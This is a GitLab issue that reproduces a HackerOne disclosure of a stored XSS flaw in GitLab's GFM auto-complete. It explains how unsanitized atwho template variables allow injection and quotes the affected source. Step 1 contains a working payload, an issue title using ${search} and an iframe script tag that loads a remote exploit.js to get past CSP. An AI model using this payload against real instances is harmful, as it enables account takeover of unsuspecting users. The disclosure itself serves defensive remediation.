Skip to content

Stored XSS in GFM auto-complete

HackerOne report #1218174 by saleemrashid on 2021-06-05, assigned to @ankelly:

Report | Attachments | How To Reproduce

Report

Summary

GFM auto-complete is implemented using At.js (jquery.atwho). Because GitLab includes some unsanitized atwho template variables and allows the attacker to control the template, it is possible to achieve XSS. This can be combined with a CSP bypass.

Steps to reproduce

This should work for things other than issues that support auto-complete, but I've used issues here because they're the most impactful (as they can typically be created by anyone, rather than being limited to project maintainers).

  1. Create an issue with this title. This uses the CSP bypass described in https://hackerone.com/reports/1212822 so you may need to change the src attribute to refer to a different project
${search}<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/saleemrashid%2Fmermaid-exploit-7032e404/jobs/1303935016/artifacts/exploit.js></script>'>  
  1. Type # into an input field on that project with GFM auto-complete (e.g. an issue comment). The issue number you created should appear in the auto-complete with an iframe injected next to it. I've attached a screenshot of what this looks like. The JavaScript will be executed and an alert box will appear containing the CSRF token.
Impact

This could be used for widespread account takeover. An attacker could create issues and merge requests on large numbers of popular projects to exploit this, then achieve XSS for any users that type # into an input field on that project with GFM auto-complete (e.g. an issue comment). The user doesn't need to view the attacker's issue to be vulnerable.

Examples

https://gitlab.com/saleemrashid/atwho-xss-296a5f26e218ff6f/-/issues/2

What is the current bug behavior?

jquery.atwho supports template interpolation in the string returned from displayTpl. This is the implementation for issues:

  setupIssues($input) {  
    $input.atwho({  
      at: '#',  
      alias: 'issues',  
      searchKey: 'search',  
      displayTpl(value) {  
        let tmpl = GfmAutoComplete.Loading.template;  
        if (value.title != null) {  
          tmpl = GfmAutoComplete.Issues.templateFunction(value);  
        }  
        return tmpl;  
      },  
      data: GfmAutoComplete.defaultLoadingData,  
      insertTpl: GfmAutoComplete.Issues.insertTemplateFunction,  
      skipSpecialCharacterTest: true,  
      callbacks: {  
        ...this.getDefaultCallbacks(),  
        beforeSave(issues) {  
          return $.map(issues, (i) => {  
            if (i.title == null) {  
              return i;  
            }  
            return {  
              id: i.iid,  
              title: sanitize(i.title),  
              reference: i.reference,  
              search: `${i.iid} ${i.title}`,  
            };  
          });  
        },  
      },  
    });  
  }  

GfmAutoComplete.Issues.templateFunction returns attacker-controlled data (i.e. the issue title). escape only escapes HTML special characters and does not touch the ${var} syntax that atwho supports.

// Issues, MergeRequests and Snippets  
GfmAutoComplete.Issues = {  
  insertTemplateFunction(value) {  
    // eslint-disable-next-line no-template-curly-in-string  
    return value.reference || '${atwho-at}${id}';  
  },  
  templateFunction({ id, title, reference }) {  
    return `<li><small>${reference || id}</small> ${escape(title)}</li>`;  
  },  
};  

This means an attacker can use the ${var} syntax to reference template variables passed to atwho. The template variables here are returned by the beforeSave callback in the earlier snippet. We can see that i.iid and i.reference likely can't contain attacker-controlled HTML, but i.title could (because it's the issue title). While the title variable uses sanitize(i.title), which attempts to remove HTML elements, search does not sanitize it in any way.

So an attacker can include ${search} into an issue title and cause the issue title to be injected as unsanitized HTML.

What is the expected correct behavior?

Firstly, the template that is passed to atwho should not be attacker-controlled and GitLab should use atwho's template interpolation instead of using JavaScript string interpolation.

Secondly, all the template variables passed to atwho should be sanitized.

Output of checks

This bug happens on GitLab.com

Impact

This could be used for widespread account takeover. An attacker could create issues and merge requests on large numbers of popular projects to exploit this, then achieve XSS for any users that type # into an input field on that project with GFM auto-complete (e.g. an issue comment). The user doesn't need to view the attacker's issue to be vulnerable.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: